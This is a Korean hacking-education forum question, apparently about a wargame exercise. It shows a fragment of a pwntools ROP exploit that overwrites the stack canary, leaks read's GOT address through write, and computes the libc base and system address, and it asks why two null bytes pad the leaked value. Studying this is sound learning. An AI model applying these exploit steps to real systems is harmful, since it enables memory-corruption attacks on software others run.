궁금합니다

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

write(1, read_got, ...)

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

read = u64(p.recvn(6) + b'\x00'*2)

2바이트를 왜 뒤에 추가하는지 이해가 가지 않습니다! 왜 그럴까요?

#시스템해킹 #공격기법 #rop #return_oriented_programming
작성자 정보
답변 2
avatar
st4rlight
안드로이드

pwntools의 u64는 인자가 8byte로 맞춰지지 않으면 에러를 뿜으며 변환을 해주지 않습니다.
[requirements]
u64 -> 8byte
u32 -> 4byte
u16 -> 2byte
u8 -> 1byte
직접 없애보고 익스플로잇을 실행시키면 어떤 의도인지 알 수 있을겁니다!

2023.11.02. 01:56

p.recvn(8) 대신 p.recvn(6) + b'\x00'*2를 사용하는 이유는, 리눅스에서 유저 영역의 메모리 주소 범위가 대부분의 경우 0x0000000000000000 ~ 0x00007fffffffffff 이기 때문입니다. libc.so.6 라이브러리가 로드된 프로세스의 가상 메모리 주소 범위가 저렇기 때문에 상위 2바이트가 0x00이라는 보장을 할 수 있습니다만 왜 굳이 저렇게 썼는지는 저도 잘 모르겠네요. 그냥 유저 영역에 해당하는 주소를 가져온다는 것을 드러내기 위함인 것 같습니다.

참고 1: https://velog.io/@mysprtlty/UserKernel-space-in-linux-machine (x86_64에서 유저 영역의 범위)
참고 2: https://stackoverflow.com/questions/30885905/the-range-of-virtual-memory-address-in-userspace (x86_64에서 유저 영역의 범위로 알려진 0x00007fffffffffff는 틀릴 수도 있기 때문에 코드에 이를 반영하는 것은 권장하지 않는다는 내용)

2024.08.09. 20:55
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기